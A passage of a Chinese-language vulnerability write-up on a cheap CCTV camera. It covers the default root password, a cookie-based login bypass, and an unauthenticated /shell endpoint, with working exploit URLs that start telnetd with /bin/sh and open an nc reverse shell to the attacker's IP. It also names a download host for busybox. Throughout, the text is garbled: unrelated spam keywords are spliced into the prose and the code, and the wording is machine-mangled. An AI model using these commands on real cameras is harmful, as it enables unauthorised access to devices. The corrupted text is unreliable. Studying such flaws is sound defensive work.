京张高铁,某CCTV摄像头缝隙剖析,国家副主席

频道:国内时事 日期: 浏览:140

0x00 缝隙分析


今日看老外分析了一款廉价CCTV摄像头的文章,地址在https://www.pentestpartners.com/blog/pw邓鸿伟n京张高铁,某CCTV摄像头缝隙分析,国家副主席ing-cctv-cameras/,摄像头的amazon购买地址是http://www.ama班纳布斯zon.co.uk/板凳哥dp/B0162AQCO4,老外曝光的缝隙主要有四个,分别是默许暗码,web登陆认证绕过,内建的webshell,以及发送摄像图片到硬编码的邮箱地址,老外的文章经过我的测验,有过错和不全的当地,我都逐个弥补在下面了 :)

1. 默许暗码

WEB默许登陆名是admin,暗码是空。

别的经过破解passwd,发现root的默许暗码是”juantech”,能够经过telnet登录直接获取cmdshell,如图1:

2. WEB认证绕过

当你第一次拜访的时分,index.html会要求你输入用户名和暗码,输入正确,则跳转到view2.html。假如你直接拜访view2.html,会被重定向到index.html,要求你输入帐户信息。下载固件用binwalk解压,如图2:

检查view2.js,发灯神黄婷婷现以下内容:

$(document).ready(function(){
dvr_camcnt = Cookies.get(“dvr_camcnt");
临武瓜贩事情dvr_usr = Cookies.g炫富弟et("dvr_usr");
dvr_pwd = Cookies.get("dvr_pwd");
i叶七七f(dvr_camcnt == nu钟期久已没ll || dvr_usr == null || dvr_pwd == null)
{
location.href = "/index.html";
}

能够看到,假如dvr_camcnt,dvr_usr,dvr_pwd这3个值为空,就会跳转到index.html,所以咱们只要将dvr_camcnt,dvr_usr,dvr_pwd设置不为空就能够了,经过检查view2.js源码能够知道,囚夺小厮dvr_camcnt其实是操控蚌埠小姐频道(chanel)的,如下:

function goto_open_all()
80 {
81 if(dvr_viewer && dvr_viewer.ConnectRTMP)
阿福宝盒82 {
83 dvr_viewer.SetPlayerNum(dvr_camcnt);
84 // switch(dvr_camcnt)
85 // {
86 // case "4":
87 // dvr_viewer.flSetViewDiv(4);
88 // break;
89 // case "8":
90 // dvr_viewer.flSetViewDiv(9);
91 // break;
92 // case "16":
93 // dvr_viewer.flSetViewDiv(16);
京张高铁,某CCTV摄像头缝隙分析,国家副主席94 // break;
95 // case "24":
96 // dvr_viewer.flSetViewDiv(25);
97 // break;
98 // }
99 open_all(dvr京张高铁,某CCTV摄像头缝隙分析,国家副主席_camcnt);
100 }
101 else
102 {
103 dvr_viewer = $("#viewer")[0];
104 setTimeout(goto_open_all, 1000);
105 }
106 }

原文说dvr_camcnt只能设置2,4,8,24这几个值。实践测验,输入其他值都能够的。绕过登陆认证的证明如图3

3.内建的webshell

经过检查解压后的固件目录,咱们发现dvr_app包括了web效劳,运用strings检查dvr_app二进制,能够看到/moo,/whoami,/shell,/sna广元堂纤体梅pshot 等字符,测验拜访,发现没有任何验证就能够拜访这些功用,如图4,

拜访/shell的时分,卡住了,把dvr_app拖入ida,检查shell功用相应的处理逻辑,由于是固件是ARM小端的架构,能够直接在IDA里F5看伪代码。如图5

这儿使用有2个办法,一个是直接telnetd绑定/bin/sh到恣意端口,然后telnet衔接曩昔,红鳝鱼不需要认证就能够telnet登录,这个利谈谈心恋爱情第二部用办法在你不知道固件自身TELNET的账户信息的时分,是个很常见的使用办法。指令如下:

http://方针ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25

可是实践测验还要考虑防火墙/NAT的问题,很多设备只是映射80出来,你注册的其他端口,尽管设备打开了,可是你衔接不上去。如图6.

这时分你能够用nc反弹shell出来,估量是由于固件版别不一样,我测验的方针busybox里是自带nc的,所以经过履行

http://方针ip/shell?/bin/busy七秀丹box nc 我的IP 53 -e /bin/sh

就能够获取到反弹的cmdshell了,如图7

文章说他的固件的busybox没有带nc,所以他静态编译了一个busybox,然后经过wget下载到一个可写的目录,然后赋予busybox可履行京张高铁,某CCTV摄像头缝隙分析,国家副主席权限,最终运转nc指令。他现已供给了编译好的busybox,能够经过http://212.111.43.161/busybox来下载。

4.发送摄像图片到硬编码的邮箱地址

经过strings检查dvr_app二进制,还发现了另一处可疑的字符串

.rodata:002260E0 0000005A C target=lawishere@yeah.net&subject=Who are you?&content=%s&snapshot=yes&vin=0&size=320180

经过在github上查找“lawishere@yeah.net”,找到了https://github.com/simo黛欣燃njiuan/ipc/blob/master/src/cgi_misc.c,经过源码能够看到

#define 京张高铁,某CCTV摄像头缝隙分析,国家副主席DEF剑傲全国AULT_USER_EMAIL "dvruser@esee100.com"
#define DEFAULT_USER_PASSWORD "dvrhtml"
#define DEFAULT_SMTP_SERVER 酥胸"mail.esee100.com"
#define DEAFULT_TARGE_EMAIL "lawishere@yeah.net"

@hdmoore在twitter也说到这个我国邮箱,所以我稍微的看了看。现在mail.esee100.com现已不解析了,可是esee100.com的CNMAE解析到了www.dvrskype.com。经过查询www.dvrskype.com的域名信息,能够看到域名的具有者是caostorm@163.com,如图8,留意这儿ORG是”广州市九安光电技能有限公司”,而github的上传者也是九安光电技能的技能人员。经过图9能够看丁晓君老公简历到,他会把/whoami的回来信息和CCTV摄像头启动时的拍照的相片发到lawishere@yeah.net,当然现在这个SMTP发送效劳器现已不存在了,也有可能是其时开发留下的测验的功用。

0x01 全球计算


由于是运转的自定义的web效劳器,HTTP效劳器头包括显着的“JAWS/1.0”特征,最近sans比较重视国内的缝隙扫描(https://isc.sans.edu/forums/diary/Scanning+for+Fortinet+ssh+bac京张高铁,某CCTV摄像头缝隙分析,国家副主席kdoor/20635/),所以我就直接用shodan的成果了。如图10

能够看到这款廉价的CCTV摄像头对公网敞开的全球大概有42545台,最常用的端口是80/8080,用的最多的国家是土耳其,印度,越南。 :)

现在应该也有对这个CCTV摄像头的自动化歹意使用了,经过检查几个,发现几台设备的进程里都包括

 1560 root 620 S ./dropbear -p 15081 -r /tmp/dropbear/dropbear_rsa_ho

以及wget长途下载歹意使用文件。

0x02 缝隙防护


现在官方还没有补丁固件,主张不要对外敞开80/23等办理端口。

0x03 感谢的人


感谢低沉的张老师教我逆向常识,张老师的好和蔼是对我问的天真问题都耐性的答复,从来没烦过。

原创文章,作者:Drops,转载自:http://www.mottoin.com/tech/118722.ht京张高铁,某CCTV摄像头缝隙分析,国家副主席ml

热门
最新
推荐
标签